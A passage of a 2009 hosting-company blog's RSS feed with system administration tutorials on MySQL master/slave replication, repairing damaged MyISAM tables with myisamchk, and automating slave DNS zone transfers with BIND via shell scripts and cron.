<p>Copy the file + position for use in Step 4 of the slave configuration.</p>
<p>7. Create data snapshot to import into slave with mysqldump :</p>
<pre>
shell> mysqldump -u root -p db_name --lock-all-tables >dbdump.sql
</pre>
<p>8. Unlock the tables of the database :</p>
<pre>
mysql> UNLOCK TABLES;
</pre>
<p>9. Transfer &#038; import the db into the slave</p>
<p>10. Shut down and restart MySQL daemon and verify that all is functional.</p>
<p><big><b><u>PREPARATION OF SLAVE</big></u></b></p>
<p>1. Create /etc/my.cnf if you do not already have one:</p>
<pre>
[mysqld]
socket=/tmp/mysql.sock [enter YOUR path to mysql.sock here]
server-id=2 [MUST be different to master]
master-host=192.168.1.1
master-user=replicate
master-password=somepass
</pre>
<p>2. Shut down and restart MySQL on slave.</p>
<p>3. Log into mysql and stop slave :</p>
<pre>
mysql> stop slave;
</pre>
<p>4. Set the master configuration on the slave :</p>
<pre>
mysql> CHANGE MASTER TO
    ->     MASTER_HOST='master_host_name',
    ->     MASTER_USER='replication_user_name',
    ->     MASTER_PASSWORD='replication_password',
    ->     MASTER_LOG_FILE='recorded_log_file_name',
    ->     MASTER_LOG_POS=recorded_log_position;
</pre>
<p>3. Issue the following SQL command to check status:</p>
<pre>
mysql> show slave status\G;
</pre>
<p>Ensure that the following two fields are showing this :</p>
<pre>
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
</pre>
<p>If not, try to issue the following command :</p>
<pre>
mysql> start slave;
</pre>
<p>This will manually start the slave process. Note that only updated tables and entries after the slave process has started will be sent from the master to the slave &#8212; it is not a differential replication.</p>
<p><big><b><u>TESTING</b></u></big></p>
<p>Just update some data on the master, and query that record on the slave. The update should be instantaneous.</p>
<p>Test creating a table on the master MySQL server database :</p>
<pre>
mysql> use replicateddb;
Database changed

mysql> CREATE TABLE example4( id INT NOT NULL AUTO_INCREMENT,  PRIMARY KEY(id),  name VARCHAR(30),   age INT);
Query OK, 0 rows affected (0.04 sec)
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/09/11/mysql-replication-replicating-an-existing-database/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to repair damaged MySQL tables</title>
		<link>http://www.stardothosting.com/blog/2009/05/12/how-to-repair-damaged-mysql-tables/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-to-repair-damaged-mysql-tables</link>
		<comments>http://www.stardothosting.com/blog/2009/05/12/how-to-repair-damaged-mysql-tables/#comments</comments>
		<pubDate>Tue, 12 May 2009 20:31:27 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[database administration]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[repair tables]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=110</guid>
		<description><![CDATA[This tutorial gives step-by-step instructions for repairing damaged mysql tables.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F12%2Fhow-to-repair-damaged-mysql-tables%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F12%2Fhow-to-repair-damaged-mysql-tables%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Once in a while something will happen to a server and the <a href="http://www.mysql.com" target="_new">mysql database</a> will get corrupted.</p>
<p>A specific instance comes to mind on one of our <a href="http://www.cacti.net" target="_new">Cacti monitoring</a> servers.</p>
<p>The /var partition filled up due to too many messages being sent to the root user in /var/spool/. This caused MySQL to crash as well since the cacti poller couldnt write to the poller_output table in MySQL.</p>
<p>The result was all graphs being blank within cacti.</p>
<p>In any case, a thorough analysis of the <a href="http://www.stardothosting.com/linux-vps-hosting" target="_new">mysql database</a> was in order and I decided to post this quick tutorial for performing quick / lengthy table checks for offline and online <a href="http://paragonhost.wordpress.com/2006/11/08/howto-back-up-re-store-mysql-database-with-myphpadmin-gui-or-mysqldump-command-line-tool/" target="_new">MySQL databases</a>.</p>
<p><big><b><u>Stage 1: Checking your tables</b></u></big></p>
<p>Run:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">myisamchk *.MYI</div></div>
<p></strong></p>
<p>or</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">myisamchk -e *.MYI</div></div>
<p></strong></p>
<p>if you have more time. Use the -s (silent) option to suppress unnecessary information.</p>
<p>If the mysqld server is stopped, you should use the &#8211;update-state option to tell myisamchk to mark the table as “checked.”</p>
<p>You have to repair only those tables for which myisamchk announces an error. For such tables, proceed to Stage 2.</p>
<p>If you get unexpected errors when checking (such as out of memory errors), or if myisamchk crashes, go to Stage 3.</p>
<p><big><b><u>Stage 2: Easy safe repair</b></u></big></p>
<p>First, try :</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">myisamchk -r -q tbl_name</div></div>
<p></strong><br />
(-r -q means “quick recovery mode”). </p>
<p>This attempts to repair the index file without touching the data file. If the data file contains everything that it should and the delete links point at the correct locations within the data file, this should work, and the table is fixed. Start repairing the next table. Otherwise, use the following procedure:</p>
<p>1. Make a backup of the data file before continuing.</p>
<p>2. Use</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">myisamchk -r tbl_name</div></div>
<p></strong></p>
<p>(-r means “recovery mode”)</p>
<p>This removes incorrect rows and deleted rows from the data file and reconstructs the index file.</p>
<p>3. If the preceding step fails, use</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">myisamchk --safe-recover tbl_name</div></div>
<p></strong></p>
<p>Safe recovery mode uses an old recovery method that handles a few cases that regular recovery mode does not (but is slower).</p>
<p>Note: If you want a repair operation to go much faster, you should set the values of the sort_buffer_size and key_buffer_size variables each to about 25% of your available memory when running myisamchk.</p>
<p>If you get unexpected errors when repairing (such as out of memory errors), or if myisamchk crashes, go to Stage 3.</p>
<p><big><b><u>Stage 3: Difficult repair</u></b></big></p>
<p>You should reach this stage only if the first 16KB block in the index file is destroyed or contains incorrect information, or if the index file is missing. In this case, it is necessary to create a new index file. Do so as follows:</p>
<p>1. Move the data file to a safe place.</p>
<p>2. Use the table description file to create new (empty) data and index files:</p>
<pre>   shell> mysql db_name
     mysql> SET AUTOCOMMIT=1;
     mysql> TRUNCATE TABLE tbl_name;
     mysql> quit</pre>
<p>3. Copy the old data file back onto the newly created data file. (Do not just move the old file back onto the new file. You want to retain a copy in case something goes wrong.)</p>
<p>Go back to Stage 2. : </p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">myisamchk -r -q should work.</div></div>
<p></strong> (This should not be an endless loop.)</p>
<p>You can also use the REPAIR TABLE tbl_name USE_FRM SQL statement, which performs the whole procedure automatically. There is also no possibility of unwanted interaction between a utility and the server, because the server does all the work when you use REPAIR TABLE. See Section 12.5.2.6, “REPAIR TABLE Syntax”.</p>
<p><big><b><u>Stage 4: Very difficult repair</u></b></big></p>
<p>You should reach this stage only if the .frm description file has also crashed. That should never happen, because the description file is not changed after the table is created:</p>
<p>1. Restore the description file from a backup and go back to Stage 3. You can also restore the index file and go back to Stage 2. In the latter case, you should start with</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">myisamchk -r</div></div>
<p></strong></p>
<p>2. If you do not have a backup but know exactly how the table was created, create a copy of the table in another database. Remove the new data file, and then move the .frm description and .MYI index files from the other database to your crashed database. This gives you new description and index files, but leaves the .MYD data file alone. Go back to Stage 2 and attempt to reconstruct the index file. </p>
<p>Thats it!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/05/12/how-to-repair-damaged-mysql-tables/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to setup a slave DNS Nameserver with Bind</title>
		<link>http://www.stardothosting.com/blog/2009/05/05/how-to-setup-a-slave-dns-nameserver-with-bind/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-to-setup-a-slave-dns-nameserver-with-bind</link>
		<comments>http://www.stardothosting.com/blog/2009/05/05/how-to-setup-a-slave-dns-nameserver-with-bind/#comments</comments>
		<pubDate>Tue, 05 May 2009 20:00:09 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[bind]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[slave]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=98</guid>
		<description><![CDATA[This need for a DNS master/slave implementation where new zone files are transferred between the master nameserver and the slave became apparent as operations grew and geographic DNS redundancy became apparent.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F05%2Fhow-to-setup-a-slave-dns-nameserver-with-bind%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F05%2Fhow-to-setup-a-slave-dns-nameserver-with-bind%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>When implementing redundancy as far as <a href="http://en.wikipedia.org/wiki/BIND" target="_new">DNS</a> is concerned, automated is always better. In a <a href="http://www.stardothosting.com/linux-vps-hosting" target="_new">hosting environment</a>, new <a href="http://en.wikipedia.org/wiki/Zone_file" target="_new">zone files</a> are constantly being created.</p>
<p>This need for a DNS <a href="http://tldp.org/HOWTO/DNS-HOWTO.html" target="_new">master</a>/<a href="http://www.zytrax.com/books/dns/ch4/" target="_new">slave</a> implementation where new zone files are transferred between the master nameserver and the slave became apparent as operations grew and geographic DNS redundancy became apparent.</p>
<p>Obviously some <a href="http://www.powerdns.com/" target="_new">commercial dns products</a> provide this type of functionality out-of-the-box, but I will show you how to do this with a simple <A href="http://www.isc.org/products/BIND" target="_new">Bind DNS</a> distribution.</p>
<p>I wrote this tutorial to help you, hopefully, to create an automated DNS slave / zone file transfer environment. Obviously you can create as many slave servers as you feel necessary.</p>
<p><big><strong><u>MASTER Server</big></strong></u></p>
<p>1. Edit /etc/named.conf and add the following to the options section where xx.xx.xx.xx is the ip of your slave server.:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">allow-transfer { xx.xx.xx.xx; };</div></div>
<p></strong></p>
<p>2. Create a script with the following, where <strong>somedirectory</strong> is the directory on your SLAVE server to store the slave zones and where <strong>yy.yy.yy.yy</strong> is your MASTER server ip and <strong>somewwwdir</strong> is a directory browsable via http and finally <strong>someslavefile.conf</strong> is the output file to write you slave config:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/bin/sh<br />
#<br />
for domain in `/bin/grep ^zone /etc/named.conf |/bin/grep &quot;type master&quot; |/bin/awk '{print $2}' |/bin/awk -F\&quot; '{print $2}'`<br />
<br />
do<br />
<br />
/usr/bin/printf &quot;zone \&quot;${domain}\&quot; { type slave; file \&quot;/var/named/slaves/somedirectory/${domain}.db\&quot;; masters { yy.yy.yy.yy; }; };\n&quot;<br />
<br />
done &gt; /var/www/html/somewwwdir/someslavefile.conf</div></div>
<p></strong></p>
<p>3. Test the script to ensure it is writing out the appropriate format.</p>
<p>4. Run the script as any user with permission to write to an http visible directory via cron.</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0 4 * * * /path/to/script &gt; /dev/null 2&gt;&amp;1</div></div>
<p></strong></p>
<p><big><strong><u>SLAVE SERVER</big></strong></u></p>
<p>1. Transfer the rndc.key file from your master server to the slave :</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">scp MASTERSERVER:/etc/rndc.key /etc/ns1rndc.key</div></div>
<p></strong></p>
<p>2. Edit ns1rndc.key and change the name of the key definition. </p>
<p>3. Edit named.conf and add the following to the options section:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">allow-transfer { zz.zz.zz.zz; };</div></div>
<p></strong></p>
<p>4. Append the following to the named.conf file:<br />
<strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">include &quot;/etc/ns1rndc.key&quot;;<br />
include &quot;/path/to/someslavefile.conf&quot;;</div></div>
<p></strong></p>
<p>5. Run the following commands</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">touch /path/to/someslavefile.conf<br />
mkdir /var/named/slaves/somedirectory/<br />
chown -R named:named /var/named/slaves/somedirectory/<br />
/etc/init.d/named restart</div></div>
<p></strong></p>
<p>6. Create a script:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/bin/sh<br />
/usr/bin/wget http://yy.yy.yy.yy/somewwwdir/someslavefile.conf &nbsp;-O /var/named/slaves/someslavefile.conf<br />
/etc/init.d/named restart</div></div>
<p></strong></p>
<p>7. Add to root&#8217;s crontab </p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">0 4 * * * /path/to/script</div></div>
<p></strong></p>
<p>In the second slave script, you see that the transfer is done via wget. This can be replaced by many other more secure methods. If ssh based key authentication is employed, a simple scp or even rsync can be utilized to accomplish the actual zone transfer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/05/05/how-to-setup-a-slave-dns-nameserver-with-bind/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>MySQL Replication : Setting up a Simple Master / Slave</title>
		<link>http://www.stardothosting.com/blog/2009/05/04/mysql-replication-setting-up-a-simple-master-slave/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mysql-replication-setting-up-a-simple-master-slave</link>
		<comments>http://www.stardothosting.com/blog/2009/05/04/mysql-replication-setting-up-a-simple-master-slave/#comments</comments>
		<pubDate>Mon, 04 May 2009 14:08:51 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[database administration]]></category>
		<category><![CDATA[master slave]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[replication]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=86</guid>
		<description><![CDATA[This simple how-to is intended to setup a simple master / slave mysql replication.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F04%2Fmysql-replication-setting-up-a-simple-master-slave%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F05%2F04%2Fmysql-replication-setting-up-a-simple-master-slave%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>It is often necessary, when designing <A href="http://en.wikipedia.org/wiki/High_availability" target="_new">high availability environments</a> to implement a <a href="http://en.wikipedia.org/wiki/Replication_(computer_science)" target="_new">database replication</a> scenario with <a href="http://www.mysql.com/" target="_new">MySQL</a>. </p>
<p>This simple how-to is intended to setup a simple master / slave relationship.</p>
<p><big><u><strong>PREPARATION OF MASTER SERVER</strong></big></u></p>
<p>1. Select a master server. It can be either one.</p>
<p>2. Make sure all databases that you want to replicate to the slave already exist! The easist way is to just copy the database dirs inside your MySQL data directory intact over to your slave, and then recursively chown them to &#8220;mysql:mysql&#8221;. Remember, the binary structures are file-system dependant, so you can&#8217;t do this between MySQL servers on different OS&#8217;s. In this instance you will want to use mysqldump most likely.</p>
<p>3. Create /etc/my.cnf if you do not already have one:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[mysqld]<br />
socket=/tmp/mysql.sock [enter YOUR path to mysql.sock here]<br />
server-id=1<br />
log-bin=mysql-bin<br />
binlog-do-db=bossdb &nbsp; &nbsp; # input the database which should be replicated<br />
binlog-ignore-db=mysql1 # input the database that should be ignored for replication<br />
binlog-ignore-db=mysql2 &nbsp;# input the database that should be ignored for replication</div></div>
<p></strong></p>
<p>4. Permit your slave server to replicate by issuing the following SQL command (substituting your slave&#8217;s IP and preferred password):<br />
<strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql&gt; GRANT REPLICATION SLAVE ON *.* TO 'replicate'@'192.168.1.1' IDENTIFIED BY 'somepass';</div></div>
<p></strong></p>
<p>5. Shut down and restart MySQL daemon and verify that all is functional.</p>
<p><big><u><strong>PREPARATION OF SLAVE</strong></big></u></p>
<p>1. Create /etc/my.cnf if you do not already have one:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[mysqld]<br />
socket=/tmp/mysql.sock [enter YOUR path to mysql.sock here]<br />
server-id=2 [MUST be different to master]<br />
master-host=192.168.1.1<br />
master-user=replicate<br />
master-password=somepass</div></div>
<p></strong></p>
<p>2. Shut down and restart MySQL on slave.</p>
<p>3. Issue the following SQL command to check status:</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql&gt; show slave status\G;</div></div>
<p></strong></p>
<p>Ensure that the following two fields are showing this :</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Slave_IO_Running: Yes<br />
Slave_SQL_Running: Yes</div></div>
<p></strong></p>
<p>If not, try to issue the following command :<br />
<strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql&gt; start slave;</div></div>
<p></strong></p>
<p>This will manually start the slave process. Note that only updated tables and entries after the slave process has started will be sent from the master to the slave &#8212; it is not a differential replication.</p>
<p><big><strong><u>TESTING</big></u></strong></p>
<p>Just update some data on the master, and query that record on the slave. The update should be instantaneous.</p>
<p>Test creating a table on the master MySQL server database :</p>
<p><strong></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mysql&gt; use replicateddb;<br />
Database changed<br />
<br />
mysql&gt; CREATE TABLE example4( id INT NOT NULL AUTO_INCREMENT, &nbsp;PRIMARY KEY(id), &nbsp;name VARCHAR(30), &nbsp; age INT);<br />
Query OK, 0 rows affected (0.04 sec)</div></div>
<p></strong></p>
<p>And check the database on the slave to ensure that the recently created table on the master was replicated properly. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/05/04/mysql-replication-setting-up-a-simple-master-slave/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

